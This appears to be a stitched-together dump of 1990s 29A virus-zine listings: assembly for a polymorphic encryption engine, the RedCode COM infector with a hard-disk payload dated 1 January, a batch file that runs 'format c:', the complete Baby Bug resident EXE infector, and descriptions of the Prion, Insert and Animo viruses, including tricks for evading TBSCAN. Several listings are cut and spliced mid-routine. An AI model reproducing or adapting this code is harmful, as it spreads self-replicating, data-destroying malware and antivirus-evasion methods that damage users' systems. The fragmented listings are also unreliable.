push [si+(2ah*04h+02h)-(24h*04h)]
mov word ptr [si+(2ah*04h)-(24h*04h)],offset int2a_virus
mov [si+(2ah*04h+02h)-(24h*04h)],cs
call tst_file_ext
jne infect_exit ; Not equal? Jump to infect_exit
cmp ax,0fef8h-(data_end-code_begin)
ja infect_exit ; Above? Jump to infect_exit
calc_offset:
mov cx,03h ; Write three bytes
jmp infect_file_
test_exe_ov:
push dx ; Save DX at stack
push ax ; " AX " "
call div_by_pages
add ax,((code_end-code_begin+1491h)/10h+01h)
mov [si+0eh],ax ; Store initial SS relative to sta...
and word ptr [si+10h],1111111111111110b
call div_by_pages
mov cx,(code_end-code_begin)
lea di,data_buffer ; DI = offset of data_buffer
xor si,si ; Zero SI
push bx di ; Save registers at stack
call c_pe_poly
pop [si+(2ah*04h+02h)-(24h*04h)]
pop [si+(2ah*04h)-(24h*04h)]
pop [si+(24h*04h+02h)-(24h*04h)]
pop [si+(24h*04h)-(24h*04h)]
ret ; Return!
endp
ret ; Return!
test_exe:
cmp ax,'XE' ; EXE executable?
jne test_ov ; Not equal? Jump to test_ov
cmp cl,'E' ; EXE executable?
ret ; Return!
test_ov:
cmp ax,'VO' ; OV? executable?
jne tst_fil_exit ; Not equal? Jump to tst_fil_exit
comment *
Carriers (polymorphic engine) ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Calling parameters:
AL Flags
CX Length of original code
BP Decryptor's offset
DS:SI Pointer to original code
ES:DI Pointer to decryptor + encrypted code
Return parameters:
CX Length of decryptor + encrypted code
Flags:
xxxxxxx1 Generate CS: in front of the decryption opcode.
xxxxxx1x Generate garbage in the beginning.
111111xx Unused.
Garbage instructions:
JMP imm8; JMP imm16
Count/index registers:
BX; BP; DI; SI
Decryptor:
(One garbage instruction).
(MOV reg,imm); MOV reg16,imm16 (Decryption key)
(One garbage instruction).
MOV reg16,imm16; (MOV reg,imm) (Offset of encrypted code)
One garbage instruction.
ADD (CS:)[reg16],imm/reg; SUB (CS:)[reg16],imm/reg; XOR (CS:)[reg16],im...
One garbage instruction.
ADD reg16,01h; ADD reg16,02h; INC reg16; INC reg16, INC reg16, SUB reg1...
One garbage instruction.
CMP reg16,imm16 (End of encrypted code)
JA imm8/JAE imm8/JE imm8 (Beginning of encrypted code)
JMP imm16 (Beginning of ADD (CS:)[reg16],imm8/reg8; SUB (CS:)[reg16],i...
One garbage instruction.
I would like to thank Tcp/29A for the help and Rhincewind/VLAD for the
Random Number Generator (RNG).
*
call gen_garbage
get_regs:
mov ax,04h ; Random number within four
call rnd_in_range
xchg ax,bx ; BL = count/index register number
call gen_mov_reg
call gen_mov_r16
jmp test_gen_cs
gen_mov_r16_:
call gen_mov_r16
call gen_mov_reg
test_gen_cs:
mov [decrypt_off],di ; Store offset of decryption opcode
call lod_rnd_byte
call gen_decrypt_
call sto_temp_imm
jmp gen_inc_r16_
key_reg_used:
xchg ax,cx ; CL = decryption algorithm
call lod_rnd_byte
call gen_decrypt_
gen_inc_r16:
call gen_garbage
gen_inc_r16_:
mov ax,04h ; Random number within four
call rnd_in_range
lea si,inc_r16_tbl-01h ; SI = offset of inc_r16_tbl-01h
shl ax,01h ; Multiply increase index register...
add si,ax ; SI = offset of increase index re...
lodsw ; AX = increase index register opcode
call tst_key_siz_
jmp gen_cmp_r16_
sto_inc_r16:
stosw ; Store increase index register op...
xchg ax,bx ; BX = increase index register opcode
call tst_key_size
sub cx,(mcb_end-mcb+03h)
garbage_loop:
call get_rnd_num_
loop garbage_loop
pop cx ; Load CX from stack
loop encrypt_loop
ret ; Return!
endp
call sto_temp_imm
gen_mov_exit:
ret ; Return!
endp
call gen_garbage
ret ; Return!
endp
ret ; Return!
endp
loop garbage_loo_
ret ; Return!
endp
endp
endp
endp
ret ; Return!
endp
; Modified version of the Random Number Generator (RNG) used in the Rickety
; and Hardly Insidious yet New Chaos Engine v 1.00 [RHINCE] by
; Rhincewind/VLAD.
get_rnd_num_ proc near ; Get 16-bit random number
in al,40h ; AL = 8-bit random number
mov ah,al ; AH = " " "
in al,40h ; AL = " " "
ret ; Return!
endp
jmp virus_begin
end code_begin
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±°
;±±±° ±±±°
;±±° Virus name: RedCode ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ±±°
;±±° Writer: Wintermute/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ±±°
;±±° Size: Nah, not much ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ±±°
;±±° Origin: Spain ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ±±°
;±±° Finished: When all was done ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ±±°
;±±±° ±±±°
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±°
;
;
; For those who still don't know what RedCode and CoreWars are, go and
; look for some webpage in the net so you'll later understand the meaning
; and the reason to be of this virus... otherwise you'll feel like if you
; were trying to understand chinese scripts :)
;
; I started writing this virus to try to make a payload which came up to my
; mind one day after one couple kalimotxos ( wine+coke ) :*) and intensive
; Marilyn Manson sessions... what about a CoreWars game in your computer ?
; Imagine, two programs which fight as in CoreWars, trying to make impossi-
; ble to each other to do its next move and thus win the game... imagine,
; also, that this game takes place in the first sectors of your HD.
;
; So that's the virus payload.
;
; The payload is destructive ( because of obvious reasons, not just because
; now I like to destroy computers and that stuff ). However, the user may
; skip any damage and save his data just by not pressing 'enter' when the
; payload appears. By pressing the "G" key right now you will be able to see
; the NON-destructive version of the payload.
;
; About the virus itself, it's a 'lame TSR COM infector' which infects on
; closing/disinfects on opening using SFTs; some kind of 'joke virus', with
; some references to "near friends" in the code and in the comments ;-D
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Each time I look outside
; my mother dies, I feel my back is changing shape
; When the worm consumes the boy it's never
; considered rape.
; When they get to you
; Prick your finger it is done...
; the moon has now eclipsed the sun...
; the angel has spread his wings...
; the time has come for better things...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Marilyn Manson )
;
;
assume cs:codigo,ds:codigo,es:codigo
codigo segment
org 00h
realstart:
call delta_offset
delta_offset:
mov si,sp
mov si,word ptr [si]
sub si,offset delta_offset
call non_copied
encrstart:
inc sp
inc sp
mov ax,0bacah
int 21h
cmp ax,0bacah
jz instalados
push es
pop ds
instalados:
pushed: dw 0
push_regs:
cli
pop cs:word ptr [pushed]
pushf
push ax bx cx dx es ds bp di si
push cs:word ptr [pushed]
sti
ret
pop_regs:
cli
pop cs:word ptr [pushed]
pop si di bp ds es dx cx bx ax
popf
push cs:word ptr [pushed]
sti
ret
push_stuff:
get_sft:
push bx ; We get file's Sft
mov ax,1220h
int 2fh
jc nein
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh
clc
nein:
pop bx
ret
set_int_24:
pop cs:word ptr [pushed]
mov ax,3524h
call callint21
push es bx
mov ah,25h
push ax cs
pop ds
lea dx,int24handler
call callint21
push cs:word ptr [pushed]
ret
check:
call push_regs
mov ah,02ah
int 21h
cmp dx,0101h ; 1st january. Why not ?
jnz dont_payl ; - Japi niu yiar !
jmp do_payload
dont_payl:
call pop_regs
iret
;****************************************************************************
; DISINFECTION
;----------------------------------------------------------------------------
disinfect:
call push_regs
cmp ax,6c00h
jz extended
mov si,dx
extended:
mov di,ds
call set_int_24
call get_sft
jc outta_jiar
push cs ; Is it infected ?
pop ds
mov ah,3fh
mov cx,2
lea dx,buffer
call callint21
cmp word ptr ds:[buffer],05951h
jnz outta_jiar
call push_stuff
mov si,dx
mov cx,5h
des_loop: ; We decrypt em
xor ds:byte ptr[si],0feh
inc si
loop des_loop
rest_all:
pop ax ; Recovers attributes
mov byte ptr es:[di+4h],al
mov ax,5701h
pop dx ; Date
pop cx ; Time
call callint21
outta_jiar:
mov ah,3eh
call callint21
fuera_delto:
pop ax dx ds ; Restore int24h
call callint21
call pop_regs
jmp salto
;****************************************************************************
; INFECTION
;----------------------------------------------------------------------------
infect_file:
call push_regs
mov si,bx
call set_int_24 ; Errors Int
mov bx,si
push cs
pop ds
call push_stuff
tira_palla:
clc
cmp word ptr es:[di+29h],'MO'
jnz cerramos
cmp byte ptr es:[di+28h],'C'
jnz cerramos
cmp word ptr es:[di+11h],01388h
jna cerramos
cmp word ptr es:[di+11h],0ea60h
ja cerramos
push ax di
call aporesaguarra
pop di ax
sub ax,5
mov word ptr cs:[jmptous+1h],ax
mov word ptr es:[di+15h],0h
mov ah,40h
lea dx,entrada
mov cx,5
call callint21
cerramos:
jmp rest_all
;*********************************************
; PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD
;*********************************************
do_payload:
mov ax,0013h ; Mode 13h
int 10h
mov cx,51d
push bx
block:
push cx bx si
mov cx,125d
line:
mov word ptr ds:[bx],808h
mov byte ptr ds:[si],8h
add si,320d
inc bx
inc bx
loop line
pop si bx cx
mov ax,cx
and al,1
jnz not_this_time
add bx,320d*5d
not_this_time:
add si,5d
loop block
pop bx
mov si,bx
mov cx,125d
lados:
push ds
push cs
pop ds
mov dx,1208h ; Write the text about today's contest
mov bx,42h
call set_cursor
lea si,text2
call write
pop ds ; A000
xor ax,ax
mov es,ax
;*******************
; Initial positions
;*******************
@x_pos_again:
mov al,byte ptr es:[46ch] ; Same for the 2nd one
cmp al,248d
ja @x_pos_again
cmp byte ptr cs:[prim_xpos],al ;checking they aren't on the
jz @x_pos_again ;same pos.
mov byte ptr cs:[seg_xpos],al
mov byte ptr cs:[atta_x2],al
push ax
@y_pos_again:
mov al,byte ptr es:[46ch]
and al,01fh
cmp al,24d
ja @y_pos_again
mov dl,al
cmp byte ptr cs:[prim_ypos],al
jz @y_pos_again
mov byte ptr cs:[seg_ypos],al
mov byte ptr cs:[atta_y2],al
pop ax
inc al
cmp al,248d
jna @bien
sub al,250d
inc dl
cmp dl,24d
jna @bien
xor dl,dl
@bien: mov byte ptr cs:[Spe_posx],al
mov byte ptr cs:[Spe_posy],dl
mov cx,0ah
call trazar
; AND THE GAME BEGINS... the warriors start fighting, placed each
; of them in a random sector... first, Big Butt Gass¢ will move.
; Later, Himmler Fewster will.
movements:
; Himmler Fewster
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Our second warrior, was born from a FidoPet NC and a moderator
; whose secret vocation was beeing a Beverly Hills high level
; prostitute.
;
; So, Fewster's familiar environment wasn't good at all, and
; his personality went into violence and so; so young, he started
; playing with swastikas and insulting all people of different
; races than his; all non-AVer people
;
; Then, his problems began. He hated VXers and only had friends
; from the God chosen race, AVers, the race which at the judgement
; day would sit right ( or was it left ? ) of God
;
; At last, he became moderator of a Fido echoarea, recommended
; by his father and some friends from his race; from there, he
; could establish terror and silence about viruses. It was
; wonderful: if someone liked viruses, he could just squash and
; silence his dirty mouth. Even, he could make that stupid
; non-AVers believe that viruses jump from diskette to diskette,
; that they were an alive problem... there were no limits, he got
; the POWER.
;
; Albeit, there was a little problem, the last pitfall in Himmler
; Fewster's life; some FidoPet and Internet fools called "the
; PowerRangers" that attacked his ideas and defended ( oh, heresy! )
; that virus writers knew most about viruses than antivirus
; writers...
;
; And... is there a better method than intelligence to attack
; them ? And... which method is better than a good RedCode to do it ?
; Bontchy, Fewster, and another AVer that had some problems to find
; the difference between F-potato chips and polymorphic engines,
; made the definitive warrior to attack...
;
; Listing:
;
; BEGIN VIRUS_INFO.WAR ( Written in Basic; although Gass¢'s
; warrior is one sector long, this is two sectors long, cause
; it's written in the AVers's secret megak00l superlanguage...
; 0f c0z, ZX Spectrum's Basic ! )
;
;
; 5 let a=initxpos
; 10 input " Who are you/virus attitude/will you obey me? ",a$
; 20 if a$<>"I'll be your slave" then 40
; 30 print " Whatever ": Rem blah
; 40 print " Position banned "
; 50 let a=a-1
; 60 goto 10
;
jmp movements
;******************
; WRITING ROUTINES
;******************
write:
lodsb
or al,al
je finished
mov ah,0eh
int 10h
jmp write
finished: ret
;*************************
; TRACE A POSITION SQUARE
;*************************
trazar:
push ax dx
; We've got X pos in Al, Y pos in Dl
xor dh,dh
xor ah,ah
add ax,31d ; Now, we've got in bx the X
xchg bx,ax
mov ax,5d
mul dx
add ax,11d
xchg ax,dx
mov ax,320d
mul dx
add bx,ax
mov dl,cl
mov cl,4
push bx ;*
@paint:
mov byte ptr ds:[bx],dl
add bx,320d
loop @paint
pop bx
pop dx ax
ret
mov dx,0701h
call set_cursor
call write
jmp $
entrada: db 51h,59h
jmptous: db 0e9h,?,?
buffer: db 51h,59h,90h,0cdh,20h
its_name: db 'The RedCode virus by Wintermute/29A; yeah, not a kickass '
db 'at all, but with a funny payload, don''t you agree ?',0
db 'Watch the payload !'
encrend label byte
salto: db 0eah
int21h: dw 0,0
callint21: pushf
call dword ptr cs:[int21h]
ret
int24handler:
mov al,3
iret
aporesaguarra:
xor si,si
call encrypt
push cs
pop ds
xor dx,dx
mov cx,virus_size
mov ah,40h
call callint21
call encrypt
ret
encrypt:
lea di,encrstart+si
mov cx,encrypt_size
xor_loop: xor byte ptr cs:[di],0feh
inc di
loop xor_loop
ret
non_copied:
mov word ptr encrstart-2+si, encrypt-encrstart
ret
codigo ends
end realstart
; BonusTrack
; ÄÄÄÄÄÄÄÄÄÄ
;
; And finishing this, I wanted to give an oportunity to my friend Christian;
; the oportunity of publishing a virus in this place of 29A: I told him, I can
; publish your virus in 29A ! And so I do, returning to my master in virus
; writing all I debt him, giving him my most sincerely thanks for being my
; master in viruswriting, the light that iluminated the way on my first steps
; making a Com non-tsr and that has brought me to the vast knowledge with his
; impressive wisdom.
;
; Here it is, his most important creation; works under Win95/NT ( suppose ),
; Ms-dos, Win3.1 in an Ms-dos window, and I dunno if Linux and Os/2 have
; that kind of windows, but... 100% destructive, of course. Doesn't have
; polymorphism cause it doesn't need it, and it's stealth "after-execution",
; autodesinfecting itself when run. Here you are...
;
;
; === Cut INSTALL.BAT ===
;
; echo off
; :main
; cls
; echo.
; echo.
; echo Beware !!!!!!, this is a virus. Your Personal Computer has been
; echo infected by Cyberkurdt's sublime virus, PCVIRUS; the first spanish
; echo virus completely made on EDIT, compatible within Dos, Windows, Win95,
; echo and maybe in a DOS OS2 Window...
; echo This virus presents some characteristics as multiple encryption,
; echo some loop, /\/\egak00l interrups access, kewl&kickass formatting and
; echo and self-disinfection.
; pause
; goto loop
;
; :encrypt
; Encryption
; a=! b=" c=% d=& e=) f=? g:¨ h=" i=&
; j=/ k=^ l=- m=- n=€ ¤=" o=! p=ú q=%
; r=& s=R t=I u=: v=; w=¥ x=> y=< z=ª
;
; €!ú)/!&!R($)%$=%ú=$)ú$)"ú"!=ú"=ú"?!ú=!?$^P^!"ú/(ú$/"ú"ú#@||\$/$($($(")ú"!ú)
; %(&ú$)%"=$ú!"=$!"?ú!"ú=ú")$ú(%$$ú/I%%&%&/$%$ú%("$"ú($)"!ú)!"ú=!"ú")$"(ú$(")
; ª#@#@|#@#@|@###@##%)$)%$ú¥^*-¥:;;>;Z>::Zú>-Z#>X>Z<-zx'<z-x0<>X:>Z>Xz@<0x<z-
; !¦"ú$%&/()=?¨**-_`+龜-.ï..,.,-,.m,m-.,-m.-.----------------------------
; goto end
;
; :routine
; goto loop2
;
; :loop
; goto routine
;
; :pepe
; cls
; choice /C:ns Press "y" and you will save your Personal Computer, press "n"
; and you won't see the light of day...
; if errorlevel 2 goto destruct
; cls
; echo You're safe ! Yeah !, but..... are you sure that strange BAT isn't
; echo another hyper-super-destructive virii ?
; echo.
; echo.
; pause
; goto end
;
; :loop2
; goto pepe
;
; :destruct
; cls
; echo Ohhhh... shit, guy, you screwed it up; doesn't matter what you type
; echo now, the data on your hard disk is going to die... whatever, press
; echo "yes" and you will see a k00l porn animation :))''
; pause
; cls
; format c:
;
; goto end
;
; :end
; cls
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; prompt Divided by Zero; Multiplied by Zero dot two; press Ctrl+Alt+Del
;
;
; === Cut ===
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Baby Bug ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Because in 29A#2 it wasn't going to be published any virus originally wri-
; tten by me and i did not like that, taking advantage of a little last-hour
; delay in the release of the magazine and of a rainy afternoon i decided to
; code this little virus. It is a 407 byte-long TSR EXE infector, which uses
; a pretty unusual code in order to process the EXE header... and this code,
; as you may imagine, takes less bytes than the standard one :)
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m babybug.asm
; tlink babybyg.obj
.286
baby segment
assume cs:baby, ds:baby, es:baby, ss:baby
org 0
start:
delta_ofs equ word ptr $+1
mov si,0 ; mov si,delta_ofs
push ds
push es
mov ax,ds
add ax,10h
add cs:[si+f_relocs],ax ; Relocate host CS & SS
add cs:[si+f_reloss],ax
mov ax,0BAB1h ; Resident check
int 21h
cmp ax,0BA03h ; Already resident?
je exec_host ; Yes? then jmp
mov ax,ds
dec ax
mov ds,ax
mov bx,ds:[0003]
sub bx,VIR_PARAG+1
mov ah,4Ah
int 21h ; Adjust current block
mov ah,48h
mov bx,VIR_PARAG
int 21h ; Get memory
mov es,ax
push cs
pop ds
xor di,di
mov cx,VIRUS_SIZE
rep movsb ; Copy virus to allocated mem
push es
push offset(mem_copy)
retf
db '[Baby Bug, Tcp/29A]'
mem_copy:
push cs
pop ds
dec ax
mov es,ax
mov word ptr es:[0001],8 ; DOS MCB
mov ax,3521h ; Read int 21h
int 21h
mov [di],bx ; Store it
mov [di+2],es
mov dx,offset(vir_21h) ; Virus int 21h
mov ah,25h
int 21h
exec_host:
pop es
pop ds
cli
db 68h ; push f_reloss
f_reloss dw 0FFF0h
pop ss
f_exesp equ word ptr $+1
mov sp,offset(memsize) ; mov sp,f_exesp
sti
db 0EAh ; jmp host entry point
f_exeip dw 0
f_relocs dw 0FFF0h
vir_21h:
cmp ax,0BAB1h ; Resident check?
jne check_exec ; No? then jmp
int_24h:
mov al,3
iret
check_exec:
cmp ax,4B00h ; Exec file?
je process_file ; Yes? then jmp
jmp jmp_real_21
process_file:
pusha
push ds
push es
mov ax,3524h
int 21h ; Read int 24h
push es
push bx
mov ah,25h
push ax
push ds
push dx
push cs
pop ds
mov dx,offset(int_24h)
int 21h ; Set virus int 24h
pop dx
pop ds
mov ax,4300h
push ax
int 21h ; Read file attributes
pop ax
inc ax
push ax
push cx
push ds
push dx
xor cx,cx
int 21h ; Reset file attributes
jnc open_file
jmp_r_attr:
jmp restore_attr
open_file:
mov ax,3D02h
int 21h ; Open file I/O
jc jmp_r_attr
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h ; Get file date/time
push ax
push cx
push dx
mov ah,3Fh
mov dx,offset(file_header)
mov cx,18h
int 21h ; Read file header
mov si,dx
stc
lodsw ; Signature
cmp ax,'MZ' ; EXE?
je infect_exe ; Yes? then jmp
cmp ax,'ZM' ; EXE?
jne jmp_r_datetime ; Yes? then jmp
infect_exe:
lodsw ; Part page
xchg ax,bp
lodsw ; Number of 512 bytes pages
or bp,bp
jz no_sub_page
dec ax
no_sub_page:
mov cx,512
mul cx
add ax,bp ; Calculate file size
adc dx,0
push ax ; Save it
push dx
lodsw ; Relocation items
lodsw ; Header size
xchg ax,bp
lodsw ; Min. memory
lodsw ; Max. memory
mov di,offset(f_reloss)
movsw ; SS
scasw ; DI+2
movsw ; SP
scasw ; DI+2
lodsw ; checksum
movsw ; IP
xchg ax,dx
lodsw ; CS
stosw
cmp ax,dx ; checksum == CS? infected?
pop dx
pop ax
je restore_datetime ; Yes? ten jmp
push bp
push ax
push dx
mov ax,4202h
xor cx,cx
cwd
int 21h ; Lseek end of file
pop cx
pop bp
cmp ax,bp ; Overlays?
pop bp
jmp_r_datetime:
jne restore_datetime ; Yes? then jmp
cmp dx,cx ; Overlays?
jne restore_datetime ; Yes? then jmp
push ax
push dx
mov cx,16 ; Calculate virus CS, IP
div cx
sub ax,bp
std
mov di,si
scasw
stosw ; CS
xchg ax,dx
stosw ; IP
mov delta_ofs,ax
xchg ax,dx
stosw ; Checksum = CS (infection mark)
xchg ax,dx
mov ax,VIR_PARAG*16 ; SP
stosw
xchg ax,dx
stosw ; SS
cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it
cmpsw ; doesn't roq... :)
cmpsw
cmpsw
pop dx
pop ax
add ax,VIRUS_SIZE ; Calculate number of pages
adc dx,0
mov cx,512
div cx
or dx,dx
jz no_inc_pag
inc ax
no_inc_pag:
stosw ; Number of pages
xchg ax,dx
stosw ; Bytes in last page
mov ah,40h
cwd
mov cx,VIRUS_SIZE
int 21h ; Append virus body to file
jc restore_datetime
mov ax,4200h
mov cx,dx
int 21h ; Lseek begin of file
mov ah,40h
mov dx,di
mov cx,18h
int 21h ; Write new header to file
restore_datetime:
pop dx
pop cx
pop ax
inc ax ; 5701h
int 21h ; Restore date & time
mov ah,3Eh
int 21h ; Close file
restore_attr:
pop dx
pop ds
pop cx
pop ax
int 21h ; Restore attributes
pop ax
pop dx
pop ds
int 21h ; Restore int 24h
pop es
pop ds
popa
jmp_real_21:
db 0EAh ; jmp to int 21h
end_virus:
ofs_i21 dw ?
seg_i21 dw ?
file_header:
signature dw ?
part_page dw ?
pages dw ?
relo_items dw ?
hdrsize dw ?
mim_mem dw ?
max_mem dw ?
reloss dw ?
exesp dw ?
checksum dw ?
exeip dw ?
relocs dw ?
memsize:
baby ends
end start
Prion is a 313 bytes parasitic direct action new executable DLL/EXE virus.
Infects every file in current directory, when executed, by searching for an
area, the size of the virus, of constant bytes and overwrites the area with
the virus. Prion has an error handler.
I would like to thank Grog for the idea to this virus and Heuristic/29A for
helping me finish it.
.model tiny
.code
code_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,(offset delta_offset-code_begin)
or ax,ax ; No stack?
jz calc_header ; Zero? Jump to calc_header
test_stack_:
cmp ax,[si+3ch] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
cmp dx,[si+3eh] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
calc_header:
mov ax,10h ; Multiply header size in paragrap...
mul word ptr [si+08h] ; DX:AX = header size
neg dx ; Negate DX
dec dx ; Decrease DX
jnz close_file ; Not zero? Jump to close_file
neg ax ; Negate AX
push ax ; Save AX at stack
xchg cx,ax ; CX = bytes to read from file
loop search_const
cmp [si],0010000111001101b
jne close_file ; INT 21h (opcode 0cdh,21h)? Jump ...
dec cx ; Decrease CX
dec cx ; " "
sub ax,cx ; AX = offset of virus within file
mov cx,(code_end-code_begin)
cmp ax,cx ; Enough constant bytes in file?
jb close_file ; Below? Jump to close_file
jmp close_file_
end code_begin
comment *
Insert v 2.0 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Insert v 2.0 is a 292 bytes parasitic resident COM infector. Infects files
at write to file by prepending the virus to the infected file. Insert v 2.0
has an 8-bit exclusive OR (XOR) encryption in file.
.model tiny
.code
org 100h ; Origin of Insert v 2.0
code_begin:
lea di,crypt_begin ; DI = offset of crypt_begin
push di ; Save DI at stack
ret ; Return!
endp
crypt_begin:
mov di,ds ; DI = segment of PSP for current ...
dec di ; DI = segment of current Memory C...
mov ds,di ; DS = " " " " "
mov cx,(code_end-code_begin)
lea di,code_end-0f0h ; DI = offset of code_end
lea si,code_begin-0f0h ; SI = offset of code_begin
push cx di ; Save registers at stack
rep movsb ; Create a copy of the virus
jmp int21_exit
end code_begin
/*****( Animo virus description )**********************************************
ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Virus name : Animo ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Author : Rajaat / 29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
Origin : United Kingdom, January 29th ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
Compiling : Using Sphinx C-- (with XFILE pack) ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
C-- ANIMO
This is a bit kind of special language, you can download it
and the additional XFILE pack (which contains the lseek
function) from the official Sphinx C-- site (it is written by
Peter Cellik) which is located at
http://www.geocities.com/SiliconValley/Vista/3559
Targets : COM files (yuck!)
Infects on : Runtime, files in the current directory (even more yuck!)
Size : 518 bytes (impressive for the language, I love it!)
Resident : No
Polymorphic : No
Encrypted : No
Stealth : File date/time, but no critical error handler
Tunneling : No
Retrovirus : No
Antiheuristics: Yes, targetted against TBSCAN, which gives zero flags
Armor : No
Payload : No
Trigger : None
Peculiarities : Written in Sphinx C-- is peculiar, I think, and a good start
too. Works only on 80386+ (so?)
Drawbacks : I don't know yet, this language happens to be so flexible that
you certainly can do a lot more than just COM files, I'm now
doing experiments with a multipartite virus already ;-)
Bugs : Not that I am aware of...
Behaviour : When an infected file is executed the virus will receive
control with a near jump to its code located at the
start of the file. Then it will get the entry point in
SI by calling to the next line (a call is relative) and
pop the return address (which is an absolute value) and
substract the original located address of get_offset,
effectively getting the difference of where the original
compiled code is located and the now running code. For
some reason unknown to me this doesn't alert TBSCAN,
which could spot entrypoints calls with ease and flag
like shit. Norman is really fucking up TBSCAN for
good... A shame. Well, after it gets the entrypoint it
will call to the start_replication() function. That
subroutine will first rebuild the first 4 bytes of the
infected COM file, so that it can be run again, after
the virus is ready doing its work. Then it sets the DTA
to the memory location where the virus in memory ends.
The next line is some antiheuristic code for TBSCAN, it
changes the "*.ZOM" search spec into "*.COM" (TBSCAN
would flag on COM so this little change shuts down one
flag). Then it will search for COM files with no
attributes set in the current directory. If such file is
found, it will temporarily store the search spec to
"*.ZOM" again. Then it calls the function infect() with
a pointer to the filename returned in the DTA as
parameter. infect() will open the file in read/write
mode and if the open succeeded it will read the first 4
bytes of the file into a small buffer. If the 4th byte
is an ! it will assume that the file is already infected
and will skip it. Then it will check if the opened file
has an EXE header. This is done in an antiheuristic
fashion. If the file is indeed a COM file, it seek to
the end of the file. If the filesize is larger than
0x100 bytes (convert them yourself, weenie!) and smaller
than 0xF000 (don't you have some calculator?), it will
proceed with the infection. It then calculates the
relative offset for the JMP instruction that will be
placed at the start of the file. Then it will get the
file date/time stamp and push it on the stack. After
that it will load it's registers with the correct data
and writes it's image at the end of the file. Then it
jump back to the start of the file and will write the
near jump to the virus code and the infection marker
(!). When finished, it will restore the file date/time
stamp and close the file. The routine to restore the
date/time is also done antiheuristically and is so
simple that I am amazed that TBSCAN fell for that
old-hat trick. After infecting a file, it will search
for the next file to infect, until all the files in the
current directory are infected. The virus sets the DTA
back to the normal address (0x80, which is 0x100 >> 2 or
0x100 / 2, whatever you like most, it's half of it). It
then pushes its return address (0x100, you already
calculated this one) in some antiheuristic (blah) way on
the stack, clears the AX register and returns control to
the host, which runs like normal (unless it has some
self check or when started with some oldsmobile).
o structures
o unions
o functions that generate no code at all (not even
the IRET)
o the possibility to do some AND operation in
if statements, like:
or even better:
CX = (cyl << 8 | sector) | (cyl & 0x300 >> 2);
Or another example:
word virus_sectors()
{
AX = virus_bytes() / 512 + 1;
}
instead of:
word virus_sectors()
{
AX = virus_bytes() / 512;
AX++;
}
"3.4 ABUSES
"THE PRICE:
~~~~~~~~~~
This version of C-- is GREENWARE, and you are free to
use it so long as you make an effort everyday to help
out the environment. A few ideas:
Well, the comments are longer than the source, what else
can I say, enjoy! By the way, those pieces of example
codes of my wishlist above are code snippets for my next
virus in C--.
Rajaat / 29A
rajaat@itookmyprozac.com
http://www.geocities.com/SiliconValley/Vista/7227
(I know, it's outdated, I hope to update it soon, a new
page is in the making)
- the rest of the 29A people (it is great to work with you people)
- the unforgiven and metal militia (heroes in the snow!)
- z0mbie (ShadowRAM Technology rocks!)
